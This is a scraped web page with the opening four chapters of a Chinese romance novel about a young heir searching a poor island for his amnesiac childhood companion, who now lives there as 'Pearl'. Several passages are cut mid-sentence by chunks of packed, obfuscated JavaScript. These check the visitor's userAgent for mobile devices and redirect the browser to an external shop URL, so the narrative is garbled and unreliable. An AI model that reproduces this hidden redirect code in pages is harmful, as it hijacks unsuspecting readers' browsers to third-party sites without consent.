《夏日有时尽》 1. 第一章 “你说你叫什么?” “珍珠。”女孩怕他不理解,又着重解释了一遍:“就是大海里的珍珠。” “你没有看过吗?” 这片海域虽然出珠少,但是住在海边的人不可能连这个都不知道。 颜祈当然知道她说的珍珠是什么东西,可是这不是她的名字,她应该叫夏桉才对,才不是什么狗屁珍珠。 这么俗气的名字,跟路边叫石头翠花的阿猫阿狗有什么区别,土死了。 颜祈压制住想叫回她本名的冲动,又问:“这名字谁给你取的?” “奶奶,奶奶说我是海里送上来的珍珠,很珍贵的。”女孩骄傲的回他,貌似对自己这个名字很满意,又或者更满意这名字所代表的珍贵爱意。 珍不珍贵他没看出来,夏桉被晒黑了很多才是真的,从前病态发白的皮肤被晒成了健康的肤色,看起来很有生气,却依旧和这里的人可以一眼分辨。 她不是这个岛上的人。 女孩黑亮的大眼睛紧盯着他:“你到底喝不喝啊?” 她已经看到这人连续在门口转悠两天了,每次都偷摸着往店里看,瞧着年纪不大,估计又是哪个丁岛从家溜跑出来的,一副拮据买不起又想喝的模样。 珍珠在岛上唯一的冷饮店打工,这家店刚开业不久,是岛上唯一考出大学生的阿财叔家开的,只有她一个员工。 本岛很少会有人过来买东西,觉得浪费钱,多是些贪吃的孩子,店里也很简陋,一台简单的制冰机,一台老式大冰箱,还有一台收银机,剩下的什么也没有,除了卖冰镇的椰子水就是一些碳酸饮料。 椰子还是她现采的,不要钱。 要说这家冷饮店和岛上唯一的超市有什么区别,大概就是她这里可以一杯杯的卖,并且分的很公平。 真正的客人没见到几个,全是些小屁孩过来,小北哥说了,碳酸饮料就算密封再好,放两天也会没气,所以卖不出去的时候她可以自己喝。 珍珠是个老实孩子,小北哥说了可以保存两天,四十八个小时她就一定要等到第四十七个小时的时候再喝。 那是珍珠一天最惬意的时候,下午四点,海岛的气温开始下降,将悬未落的红日停在海平线上,她可以慢慢喝完,等时间一到就回家和奶奶吃饭。 手上这瓶可乐刚好只能倒出最后一杯,她也是觉得这人是真的眼馋才把自己的这杯送给他,平时她都是小口小口的抿,这人看着还一副很嫌弃的样子,好心当作驴肝肺。 珍珠见他半天不说话,收回杯子:“不要就算了。” 爱喝不喝。 颜祈摁在杯盖上:“我又没说不喝。” 他问:“这是你主动想给我的?” “对啊。”珍珠以为他是觉得自己会要钱,摆摆手道:“没事你喝吧,我不要你钱。” 就是看你可怜。 颜祈双手握住杯壁,冰凉的冷气降低他内心的躁郁,也冲刷了多日来寻找夏桉的焦虑。 看来这小傻子就算失忆了也还是会想着对他好,颜祈心里窃喜磨磨蹭蹭才喝了一小口,下一秒又全部吐了出来。 “你给我喝糖浆做什么?” 什么糖浆,这明明就是可乐,少了点气而已,真是好心没好报。 其实珍珠一开始还觉得这个年轻人长的挺好看的,身高腿长,有点像博览群书的小北哥,还特意叫上家隔壁的二妞一起来看。 二妞看了一眼就走,说:“这也算好看,又白又瘦跟个竹竿似的,眼睛那么大看着还有点傻,跟春山哥根本就没法比好不好。” 春山是二妞的暗恋对象,本岛人,十三岁开始在父亲的渔船上帮忙,最近跟着出海了。 珍珠想了一下春山那古铜色的皮肤忍不住打个哆嗦,跟座小山似的肱二头肌,悍实精壮,她摘不下来的椰子,春山只需要对着椰树来上一拳。 二妞鄙夷的看了颜祈一眼,不放心又回来跟珍珠科普怕她被人骗了:“我跟你说,就不能找这种男的,你看他胳膊那么细能干什么,连个椰子都摘不下来,我们要找力气大块头大、做事麻利肯干活的男人,你看岛上哪有人长那样的,丑死了。” 珍珠那个时候觉得也还好吧,这个人长的也挺高的,和小北哥差不多,就是比小北哥瘦点,没小北哥看起来聪明,现在被他这样好心当作驴肝肺瞬间眼清目明,觉得二妞说的很有道理,这人其实仔细看,真的很一般。 颜祈皱眉,嫌弃的把杯子往前一推:“给我加点水,这太甜了没法喝。” 事真多。 珍珠不想喝他喝过的,给他加满水又推过去。 颜祈忍着喝了口放下又继续问道:“你一直住这个什么...什么岛上?” “蓝月岛。” “哦,你一直住这个蓝月岛上?” 珍珠点点头,她醒来就在这,也算一直住在蓝月岛吧。 反正她也不知道以前究竟住在哪,自己是谁,是奶奶最先叫的她珍珠。 但她对这里半点印象也没有,对奶奶对所有的一切都很陌生。 她睁眼的时候床边围了一圈的人,每个人都好奇的低头看她,而且她醒来的听到的第一句话,岛长问的是姑娘你从哪来? 如果她真是珍珠,岛长会这么问?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634678|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 不。 他应该说,珍珠你为什么会晕倒,谁害的你,大家不会放过他的。 可其他人显然也是不认识她的神情,甚至在得知她记忆丢失以后流露出怜惜的表情。 只有奶奶一直抱着她,说珍珠回来了,珍珠回来了。 可后来不知道怎么,大家又承认了她是珍珠,他们开始叫她王家的小孙女,或者直接叫珍珠。 颜祈还想问问题,但珍珠已经没了耐心,还算有礼貌:“可以让开吗?我下班了。” 颜祈悻悻的端着那杯掺了水的冰可乐站在一旁,低头扫了眼手上的腕表说:“才五点你就要下班?” 珍珠觉得这人脑子估计也有问题,可能不是从家里溜出来的,是太笨了流落到这,什么叫才五点,往常这个点门都关好了,今天还不是因为他磨蹭,问东问西。 但阿财叔说了,看到岛上不认识的人态度要好,就算不付钱也没关系,最重要的是让他们对蓝月岛感到满意,觉得蓝月岛的居民和蔼可亲,尤其是穿着黑色西装的。 眼前这个年轻人又没穿,她已经态度很友好了,就算是阿财叔来了也不能说她什么,更何况她已经见过这人好几次,不算什么不认识的人。 颜祈看她利落锁好门,挎上拼色的小花布包,粗黑的辫子一甩一甩,头也不回的往前走,连忙追上去:“唉,你明天几点开店?” 珍珠停下来谨慎盯着他:“你要做什么?” 岛上工作很少,大家一般都是靠海吃海,要不出海打鱼,或者下海捞珠捞海鲜,她没有那么好的水性,这些都做不了,这份工作还是小北哥给她的,绝对不能让人抢了去。 颜祈挠挠下巴觉得很痒,举着可乐说:“这个...我...” 珍珠打断他:“你是不是还想喝?” “……嗯。” 她松了一口气,不抢工作就好,珍珠回想起冰箱里另一瓶橘子汽水,正好明天到期,大发慈悲地说:“那你明天下午来吧。” “好。”颜祈用手在眼前挥了两下,这岛穷怎么虫子又多。 “……” 珍珠皱眉啧一声,没忍住双手拍死了他身边的虫子,接着说:“不过明天没有可乐,是橘子味的汽水,你还喝吗?” 那虫子长的很吓人,也许是没打死还在垂死挣扎,颜祈抿紧唇把衣袖伸到她面前,示意可以擦在自己衣服上:“你...你..可以...” 珍珠急着回家,不知道这人怎么突然就结巴了,嫌弃的扔掉虫子双手使劲搓了搓,一路小跑着往家里赶,上了山丘又想起回头喊道:“早一点啊,我不加班的。” 2. 第二章 蓝月岛在这附近海域不算小,近年来周围的海岛都在被开发,唯独这里像是被人遗忘了般,还保持着最原生态的生活,无人在意。 珍珠赶到家的时候,那轮巨大的红日还悬浮在海平面上,美的惊心动魄。 不过这些她都看腻了,刚醒来那会她总是坐在院子的屋顶上看,对这里的生活极其不适应。 蓝月岛常年气温高,风大,下雨天更是闷热,住在这里都是海生海长的本岛人,靠海靠天气吃饭,有时候台风一来,整个岛就像进入原始社会,没电没信号。 她和奶奶住在一栋用珊瑚石搭建的老屋里,共两层,有一个小院子,周边还用石头垒了圈一米多高的院墙。 奶奶说,这是爷爷和父亲在她出生那年建的新房,到现在也快二十年了。 这也是她的年纪。 但现在王家只剩下她们祖孙俩。 珍珠在山坡上就看到了奶奶的身影,用力挥挥手跑下去:“奶奶。” 王淑华紧紧拽着衣袖的手指慢慢松开,理了理耳边被夹好的碎发,待她到面前担忧道:“怎么今天这么晚才回来?” 珍珠也不知道那男人叫什么,随口道:“碰见个结巴。” “结巴?” 王淑华登时又提高警戒:“这岛上哪来的结巴?” 珍珠搀着奶奶的手往里走,“我也不知道,估计从哪个丁岛偷偷划过来的吧,和我差不多大,看着挺可怜的。” 王淑华听到年纪稍稍安下心,这附近是有些贪玩的孩子因为不想出海溜到其他岛上躲着。 她把桌上唯一的那条小鱼夹到珍珠碗里,又被珍珠夹了回去,“奶奶你吃吧。” 王淑华夹回去,把碗用手托的老远,语气沉厉:“你吃,我吃海带苗就可以了。” 她年轻的时候是采珠女,后来丈夫、儿子儿媳都留在了大海里,从那以后她就不再出海了,但好在大海是慷慨的,潮汐起伏,海岸礁石总有意外的惊喜,取之不尽用之不竭。 王淑华又在家附近开垦了几亩地种植蔬菜,养了几只母鸡,也算自给自足。 但这样的事情还是每天都会发生,家里没人出海就意味着海鱼这一类的活物与她们无关,礁石缝隙里不过是些虾蟹和贝类,母鸡太珍贵了,要留着生蛋。 珍珠想,下一次阿财叔给她发工资的时候,她一定要买两条很大的海鱼,她一条奶奶一条,这样谁都不用让。 晚饭吃到一半,外头有人叫王淑华,她出去一趟,回来喜笑颜开的端着一盆新鲜的海虾。 “谁啊?” “你阿盛哥。” “送这玩意给我们干吗,”珍珠撇撇嘴,“我们又不是抓不到,奶奶你要是想吃,我明天早点去海边给你捉。” “那怎么能一样,这些都是他们半夜出海捕的新鲜大明虾。” “都过了一天了,哪里还新鲜。”珍珠嘀嘀咕咕,“白天不送,非要这么晚才送过来。” 明明是另有所图。 王淑华说:“我觉得阿盛这孩子挺好,踏实能干肯吃苦。” “能吃苦就有吃不完的苦,他这么能吃,我跟着他岂不是要一块吃苦。” “……”王淑华嘴皮子跟不上她的,改变策略,抚着心口装难受,“那你一个人我怎么放心,一想到这件事我半夜都睡不着。” 珍珠把她的手移到右边:“说什么瞎话,我早上出门的时候你还没醒。” 被个小辈戳穿,王淑华脸色一下涨红,“就是因为我晚上睡不着,白天才要补觉。” “好好好,我哪天赶海给你捡个美男鱼回来当孙女婿,然后我们就躺在家里天天让他掉珍珠赚钱。”珍珠吃完边收拾碗筷边敷衍。 王淑华挺不屑:“捡那玩意干吗,别人不要的你要?指不定是什么破烂货色。” “我还是觉得阿盛这种主动送上门的好,跟你爷爷一样。” - 珍珠再见到那个男人是在中午太阳最大的时候,烈阳炙烤着蓝月岛,躁郁的热度从海平面上席卷而来,她眯着眼睛朝男人招招手。 “你今天来的还挺早。” 颜祈臭着脸:“你每天都要在这工作?” “对呀。”珍珠对自己这份工作很珍惜,蓝月岛的人生活简单物质要求低,维持着传统“男耕女织”的生活,像她这样的女孩一般都是在家帮忙度日,要不然就是成为采珠女,或者直接踏入人生的下一个阶段。 她不想,而且王淑华脑子有时候会迷糊,需要吃药。 这份工作相比之下已经是非常轻松了。 也许是这天太闷热,她细长的手指拿着一块抹布麻利地收拾着台面对颜祈来说太过于刺眼,他垂眸看着从渔船跳下来时意外陷在泥沙里弄脏的白鞋,也不知道沾了什么东西在鞋面上折射出绚丽的光彩,再一次对这个落后贫瘠的海岛失去耐心。 明明离江州也就两个小时的海程,怎么能落后成这个样子,岛上一家旅馆也没有,信号时有时无,连扫码支付都没有,跟个原始部落一样。 夏桉何时做过这样的事情,他有点急躁:“你就没想离开这?” 珍珠收拾着桌面,头也没抬:“为什么要出去?” “外面的世界很好啊,你看这个岛上脏兮兮的,连信号都没有。”颜祈试探着让她想起来,“我可以带你去江州,江州什么都有。” 江州还是他们一起长大的地方。 “可那里没有我的家人。” 颜祈短暂的沉默下来,有时候他都怀疑夏桉是不是没有失忆,为什么说出来的话都能正好对上,可他已经来蓝月岛三次了,夏桉从未认出过他,甚至连江州都不记得,活的像个本岛人。 橘子汽水不受孩子们的欢迎,珍珠按照约定给他倒了一杯,剩下的都留给自己。 颜祈握着杯子没喝,看她因为橘子汽水露出满足的笑靥心里有种说不出来的滋味,眼前这个女人做的一切都超出他对夏桉的了解。 夏桉是一个什么样的人? 颜祈只能透过她同样清亮分明的杏眼回想过去。 他第一次见夏桉在五岁,她穿着白色的公主裙怀里抱着一个兔子玩偶,很像他手上那本童话书里的豌豆公主,一样的娇气。 夏桉就是这样一个很娇气的人,对周围环境有一点不满意就张着湿漉漉的眸子,爱哭还脾气不好,每次见着他都鼓着粉白的脸颊,气嘟嘟的,让人很想戳一戳。 有次颜祈也确实这么干了,他看电视上说河豚生气也是这样,神不知鬼不觉的就突然戳了一下夏桉的脸颊,结果她哭的眉毛都泛红了,卷翘的睫毛濡湿的粘在一起。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634679|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他觉得好吵,亲了夏桉一口。 草莓味的。 很有效,夏桉没哭了,抱着兔子玩偶愣在原地。 自此颜祈很喜欢逗她哭,直到有一天被颜淙发现狠狠揍了他一顿,夏桉有很长一段时间没再来颜家。 后来他们上了同一所幼稚园,他一点也不喜欢那个学校,老师管着的太严,每次夏桉才哭出声她们就从奇怪的角落冒了出来拉开他。 九岁,夏桉因父母意外去世搬到颜家,他那个时候已经是一个成熟的小孩,夏桉几乎是他一手带大的,直到今年,万世集团放出她和颜淙的订婚照片。 夏桉开始频繁的避着他,消息也不回,直到一个月前才好不容易开始回他,但那不是她的语气。 ...... 夏桉失踪了。 没有人知道她失踪了多久,颜祈是第一个发现的人。 -- 一个月前。 颜祈闯入办公室的时候,颜淙还在看这一期的财务报表,衬衫的袖子微微挽上了一些,干净利落,深刻凌厉的五官抬了个眼神警告。 在颜淙心里,自己这个弟弟有点…有点幼稚,这算是比较客气的想法,他们的血缘关系不允许他在心里想出一些侮辱性的词汇,比如愚蠢。 但这并不是什么很严重的事,颜祈年纪小还有时间可以锻炼,也许过几年在自己的教育下能摆脱掉那些愚蠢的孩子气性。 如果说夏桉是颜祈带大的,那么颜祈就是颜淙盯大的。 颜家父母忙着开拓海外版图,任务都落在了大他们七岁的颜淙身上,有一种天然的威慑力。 但此刻的颜祈对他的不悦视而不见,直接把手机扔在桌上质问,“你知不知道夏桉不见了?” 颜淙拿过手机,掀起眼皮放在桌上,“就因为她没回你消息?” 这句像是踩到了颜祈的痛脚,他情绪犹如被点燃的篝火,噼里啪啦的作响,“这不是回不回消息的问题,这根本就不是她会说的话。” 夏桉那个小没心肝的,自从出去上学后她何时对自己有问必答过。 “可她平时就是这么和我说话的。” 颜祈紧绷着嘴角,被这盆冷水浇的底气不足,嘴硬道:“反正她就是很不对劲,而且我已经去过她学校了,教授说她之前请了假,但最近一个月都没有去上课。” 颜淙松了松领带,语气依旧很沉稳:“我知道了。” “那你打算从哪里开始找,”颜祈在屋子来回分析,“她经常写生的那几个地方我都去了,所有人都说没有见到她,航班我也查了,最后一次的目的地就是江州……” “小祈,她是你嫂嫂。”颜淙目光微冷,对颜祈这种僭越的行为告以警戒,虽然他们一起长大,可现在夏桉现在是他名义上的未婚妻。 “她还没和你结婚。” “可是我和她已经订婚了。”颜淙对他一再的越界很不满,“我会处理我们之间的事。” 颜祈瞬间反驳:“什么叫你们之间的事?” 他凭什么就这样直接被排出去,就因为那个没有意义的订婚? 颜淙并不想和他在这些没有意义的事情上浪费时间,面无表情的下达逐客令,但颜祈却并未有打算离开的想法。 颜淙冷峭的目光从桌上移过去:“还有事?” 3. 第三章 怎么没事,当然有事,还是大事。 颜祈一掌拍在桌子上:“我们家是要破产了吗?你送她那么小一枚钻戒,妈去年不是在苏富比拍了一颗蓝钻?” “还有她才多大,你就要和她结婚。” 不知道是不是因为没有人通知颜祈,导致他对于夏桉已经订婚这件事情有诸多不满。 颜祈心里有一种怪异的情绪,他觉得颜淙是在截胡他的劳动成果。 颜淙根本就不了解夏桉那个娇气包,她最喜欢那种闪闪亮亮的东西,怎么可能就要一颗那么小的石头,更何况这一点也不符合颜家的资产,颜淙为什么不选颗大的,夏桉又不是要天上的星星。 还有他凭什么和夏桉订婚,夏桉可是他养大的,他那样没有情趣、不假辞色、脑子里只有工作的人,夏桉嫁给他跟嫁给机器人有什么区别。 他知道夏桉小时候有多么难带吗?特别是刚到颜家的那段时间,家里只有他们两个,夏桉爱哭挑食,瘦的跟个小猫似的,从小跟在她身边的保姆只会天天跟祥林嫂一样四处诉苦,是他承担了一切,反正大家都说夏桉是颜家的童养媳,他照顾和纠正夏桉是应该的。 没有人想要一个爱哭包作为自己的妻子,颜祈对自己未来很有规划,他希望夏桉达到应有的水准,有时候不免也会严格一点,但总体来说,颜祈觉得自己其实已经对夏桉很宽容了,要求一再降低。 他费了很多心思加倍用心照顾,但夏桉也不知道怎么回事,性格变得越来越不讨人喜欢,按照颜祈的视角来说,就是夏桉长成了一个很无聊的人。 一个和颜淙差不多的假人。 但这很难说没有颜淙的问题,毕竟颜淙少年老成,专断古板,他又很宽容,在这种两极分化的教育下,夏桉很可能因为屈服颜淙的威严而选择错误的道路。 夏桉自从去国外读书后,也不怎么喜欢联系人了,颜祈一开始觉得这也不是什么坏事,夏桉总是黏着他确实不太好,他们都长大了,也应该要适当保持一点距离,虽然他们的娃娃亲大家都心照不宣,结果有天突然就被颜淙横插一脚。 订婚前几天他还给夏桉去了电话,她甚至没有表现出一点异常就和颜淙订了婚,对自己视而不见。 这不是颜淙的问题是什么? 颜祈也看不上颜淙,他觉得颜淙年纪大,从小爱装小大人,长大变成老古董,属于老牛吃嫩草。 虽然颜淙看着明面上皮相尚可,一副老成持重、不可一世的模样,可男人能有几个花期,他工作那么还拼命,估计不到三十岁就要秃,身体某些方面的机能也可能会不行,那夏桉要怎么办,她那个时候才二十三岁,却要面对这么一个老男人。 颜淙对于颜祈的呛声责问表现的很冷静,他不想和颜祈争论,也觉得自己不需要跟这个弟弟解释他的所作所为,让助理把颜祈‘请’了出去。 颜淙等人都离开了,捏了捏眉心给夏桉发去一条信息,对面隔了几分钟才回。 「在练琴,有事吗?」 -- 颜祈觉得颜淙并没有把夏桉失踪这件事放在心上,他来回放大缩小反复查看夏桉昨天在社交平台发出来的海上风景照,上面配文说她出海了。 尽管图片上只有一片汪洋大海,颜祈还是通过蛛丝马迹找到了那艘环球航线的邮轮,全程耗时要136天,等夏桉回来已经是冬天了。 颜祈很肯定自己的想法,这一切都来的太过于凑巧,夏桉一直用海上信号的问题来拒绝他的来电,邮轮可以中途上船,颜祈没有自己去,找了其他人去船上确认夏桉的安全。 他留在了江州,始终认为这才是夏桉最后失踪的地方,几经波折,颜祈几乎快把江州翻遍,终于在几天前得到了蓝月岛的线索。 江州港口没有人知道这个不出名的海岛,卫星地图上也没有这个岛的名字,他又多方打听才知道了一个离蓝月岛最近的小渔村,颜祈当天就驱车赶到了那里。 他没想到江州附近还有这种落后贫瘠的地方,灰扑扑被海风侵蚀的旧楼,五颜六色的渔船几乎堆满了港口,暖风里是很难闻的海腥味,几个皮肤黝黑的渔民不知道挑着什么东西从他身边经过,颜祈听不懂他们的方言,来来回回转悠了好几圈也没打听到蓝月岛的位置。 “去蓝月岛?”一个穿着蓝色POLO衫的中年男人突然凑了上来,满脸殷勤,“可以租我们家的渔船,很便宜的。” 颜祈被他身上的汗味熏的鼻子疼,后退一步憋住呼吸,不怎么相信:“你知道蓝月岛?” “我怎么不知道,我就住那?” 颜祈皱起眉:“多少钱?” 男人不动声色扫视了他一眼,伸手比了个八。 颜祈毕竟还年轻,碰上真正的老滑头,心里那些嫌弃的小心思就跟摆在脸上似的,男人又紧忙道:“你别看这里很多船,他们都是不出海的,去蓝月岛就我这一条船,你先去我那船看看,保证你不亏。” “平时这个价你可租不到那么好的船,起码要翻个好几倍,也就是现在是淡季人少,我才给你这个价。” 颜祈看了看四周,一时没有更好的办法,和男人保持着一段距离不情不愿地跟上去。 小渔船还算干净,就是船舷两侧的蓝漆剥落的很严重。 颜祈被这附近的海腥味熏的头晕,咬咬牙上到甲板在矮小的船舱里坐着,后悔自己没有直接把游艇开出来。 男人搓搓手给他拿了一件亮橙色的救生衣,颜祈没接,说自己会游泳。 渔船轰隆隆的向大海深处驶去,男子叼住一根烟和他搭话:“也是稀奇,没想到现在还有像你这样的年轻人会知道蓝月岛。” 这附近海域丁岛甚多,好多连名字都没有,以前的老渔民还好,因为船行不够便利,偶尔在海上碰到恶劣天气会在附近的岛屿借宿,也知道几个岛的名字,可随着这些年船业技术的发展,现在的航程速度提高了好几倍,但愿意加入传统渔业的年轻人却越来越少,渐渐地,那些海岛的名字逐渐被人忘却。 岛屿和陆地之间距着一方开阔的海域,蓝月岛成了隔在水雾里的月亮倒影,虚无缥缈。 男人试探地问:“去岛上玩?” 颜祈耳边风声呼呼,手机里弹出在邮轮上的人给他发的消息,说找了好几天,确认夏桉并不在船上。 “找人?”他垂下眼睑,感觉那些海风刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634680|143724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进他空旷的心里。 男人不露痕迹地顺着话题:“找人?蓝月岛的人世世代代都住在那里,是不是弄错了。” 颜祈也希望是弄错了,比起那无人可知的荒岛,他更希望夏桉在高级邮轮上旅行,可现在已经可以证实夏桉是失踪了,如果岛上没有人,就等于信息全断,他没说话,给那人回消息却一直显示发送失败,仔细一看,信号微弱到可以忽略。 颜祈抬起头,淡淡道:“可能吧。” 男人适时止住,没多问,只说:“看你好像也没打算在岛上住,等下出岛也要用船吧,还是一个价。” “行。” ...... 颜祈到达蓝月岛已经是下午两点,手机完全失去了信号,他连钱都付不出。 男人躺在树荫下的船舱里对他摆摆手,说:“反正你等会也还要回去,到时候一起给吧,不要太晚了,太阳下去之前我们就得走,晚上海里不如白天平静。” 颜祈感觉这人也不像有什么心眼的坏人,踟蹰着还是问出了口:“岛上最近有什么新来的人吗?” 男人眼皮动了动,笑道:“你不就是那个新来的。” 颜祈感觉自己就多余问,一个人顶着烈日开始在岛上漫无目的寻找,蓝月岛比小渔村更加的贫乏,连栋高楼也没有,全是矮楼平房,万物恹恹,枝叶焦卷。 他遇见的第一个人是一个看起来很面善的老妇人,齐耳花白短发,两侧用黑色的一字夹固定住了头发,这种应该就是那个男人说的原著岛民,颜祈这个时候还对这种生活在岛上的老奶奶没有留什么心眼子。 周围人本就因着他的身份过分纵容,何况是上了年纪的老人,这对从小没有经历过什么磨难、唯一对他严厉只有一个哥哥的颜祈来说,这种人从来就不在他的设防范围内。 颜祈走向前很有礼貌地问:“奶奶,你最近在岛上有没有见到一个陌生的年轻女孩,大概这么高——” 他说着想起手机里的照片,调出来给老人看:“长这样。” 那是去年颜家给他举办成人礼的照片,夏桉比他小半岁,两个人一起办的。 老人面对那个陌生的高档手机不敢接过手,眯眼凑近一看,脸色几变,冷声道:“没见过。” 颜祈因手机的反光也微眯着眼,没看见她脸上的表情,闻言整个心都在往下坠,抿了抿唇不甘心地还要再问,老人不耐烦地推开他的手,“说了没见过就没见过,你住岛上我住岛上,” “真是不得了,现在什么人都往岛上跑,今天来一批明天来几个,这岛上成什么样子,也不知道李家那小子怎么管的……” 颜祈被她说的一愣一愣的,还没缓过神来,人就迈着矫健的步伐走远了。 来都来了,现在这里是唯一的线索,他叹了口气也只能继续找,结果还没走两步,树上突然掉下来两颗红果子,险些砸到他。 颜祈不由敛目抬起头,差点被树上的景象吓了一跳,阳光从树隙中透过,给那人的身后打上一层模糊的金光,他嘴里的话还没骂出去。 树上的人就已经先开了口:“你要找的是不是珍珠?” “我知道她在哪。” 4. 第四章 男孩从树上一跃而下,想做了一个自以为的华丽登场,结果差点没站稳摔一跤,但他很快站稳,拍了拍手上的灰继续说:“我知道珍珠在哪?” “什么珍珠?” 男孩说:“你不是在找人吗?我知道她在哪?” 颜祈的神情并未因为他的这些话而松动,相反更加谨慎:“你又是谁?” “我叫长风。”男孩在空中用力挥舞了几下手,“就是大风的意思。” 长风看着年纪应该和他差不多大,个子略低些,笑起来的时候眼睛都眯成了一条缝。 颜祈有点迟疑,随后还是把手机递过去,“你确定见过她?” 长风睁着一双纯真的眼,拍拍胸脯,一长串话说下来磕磕绊绊的,视线就没停留过在手机上:“我见过她,岛上只有珍珠是新来的,大眼睛、长辫子、长得很漂亮对不对。” 他说:“你为什么要找珍珠姐姐?你也和她认识吗?你是不是和我一样喜欢喝甜的水?” 颜祈觉得自己没有理由要回答他的问题,更何况长风一口气问了三个,他只道:“这和你没关系,带我去找她就行了。” 长风哦了声,有几分呆愣,像是反应过来这样有些不太礼貌,开始很认真地开始和颜祈道歉。 颜祈也没真的和他计较,挥挥手让长风带路。 他并没那么相信长风,但是也不知道为什么,长风的那张脸太没有心机、无欲无求,看起来就一副很不聪明的样子,更多的时候他呈现出一种懵愣的状态,总是自以为很隐秘地往他身上瞄。 但很快颜祈就发现自己做了一个错误的决定,长风不仅看起来像个没心眼子的,还一点自制力都没有,很容易被一些小事物转移注意力,哪怕是路上飞过来一只小蝴蝶,他的视线要跟着看蝴蝶飞远才能回过来。 颜祈停下来等了他好几次,开始不悦地抱住手臂,“你到底知不知道她在哪?” “我知道的。”长风冒失有点易惊吓体质,脸上立刻流露出恐慌,有点委屈地诚恳保证:“妈妈说了,不可以撒谎骗人,要不然菩萨会生气的。” “菩萨生气很严重,会发出很大的声音。” 颜祈扯了下嘴角,心道这还是个妈宝,跟个傻子似的什么都信,但此时他已经不知道自己在哪了,吐了口气只能认命讲:“那你可以快点嘛?我们已经走了很久了。” 长风认真地点点头,朝远处指,“马上,就到了,我们绕过这个弯,还有一点点远。” 这个一点点,让日光西移的时候,颜祈才终于站在了一个山坡上,往后是一段无比熟悉的路,往前的坡下是一家看起来很小又破败的老店面,白墙已经黑的看不出原本的颜色,门口竖着一把五颜六色的大伞,周围一个人都没有,一副摇摇欲坠的危楼样。 长风眨巴着眼,嘴里给出肯定的答案:“珍珠,她就在那里。” “你看吧,我说过我认得路的。”他抬头看了眼太阳,“不过我得回家了,太晚了他们会担心的。” 颜祈随口问:“他们是谁?” 长风像是用力思考了一番,才答道:“家人。” 虽然长风这一路上表现的很怪异,但颜祈分别时还是按照自己的方式表达了感谢,“如果确认是她,你会得到应有的好处的。” 长风像是不太明白他的话,想提醒点什么的时候,颜祈已经没什么耐心地朝坡下走去,把他的话落在了后面。 他希望那个看上去像小呆瓜一样的长风能带他真的找到夏桉,但更多的,就像是心里早有一个肯定的答案,只是死活不想承认,骗自己一步一步地朝那里走。 他停在离店还有十来米的一棵大树下,心绪从云端跌落,那不是夏桉,她甚至和长风口里女人唯一的共同点,就是有一头漆黑的长发。 颜祈忘记自己是怎么离开的那里,失魂落魄地走到渡口。 中年男人正巧从船舱里出来,对他吹了声口哨,“还以为你不回去了,怎么,没找到人?” “说了岛上肯定没有你要找的人,你还不信。” 颜祈沉默地坐上船,蓝月岛其实也没有那么大,平地偏多,长风带他走的时候几乎绕了半个岛,他站在高高的山坡上,就能看完全岛的风景。 他一路奔波到这里,顶着烈日,坐着一艘不符合他身份破破烂烂的船,然后被长风骗着到处绕路,结果看到一个有点胖的陌生女人。 这一切很难不让颜祈的心里产生剧烈的落差感,可他却没有一点办法,颜祈十分冰冷地看着离他越来越远的蓝月岛。 船老板看着这么个年轻人脸上摆出不符合他年纪的失意,开始絮絮叨叨诉说一些中年男人独有的感慨。 颜祈听着很烦,偏过头,呼吸倏然一滞,渐远的视线里一闪而过某个熟悉的身影。 他下意识开口:“夏桉。” 海上风声渐大,男人没听清,握着方向盘问:“你刚刚说什么?” 颜祈再仔细看,那道身影已经消失不见,蓝月岛在夕阳余晖的照映下渐渐陷入昏暗,刚刚的一切就如同是场恍惚的梦境。 船老板见他不说话,还以为是自己听错了,开着船继续输出自己的人生见解。 可以看到小渔村的时候,颜祈的手机逐渐恢复信号,一开始囤积的信息终于发了出去,那边没有回应,估计也还在海上航行。 颜祈靠岸下船,给船老板按照最初谈好的价格扫了一笔转账。 宝蓝色的天幕下,海水翻涌,中年男人浑浊的眼逐渐瞪大,看到那笔转账后面多了个零,嘴角的笑意差点没按捺住,赶忙套近乎说:“小兄弟,明天还去哪?这块就我最熟,他们好多人都不知道那些岛叫什么名字,我反正也还没到出海的时候,你去哪我都奉陪。” 颜祈默了会,好半晌才说:“还是去今天那个岛吧,我要再去看看。” …… 颜祈第二次上蓝月岛是次日的中午。 回想了一整夜,颜祈觉得自己没有看错,他的视力一直保持的很好,其实就算没在渡口那里看到奔跑晃过的身影,他也会再来岛上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 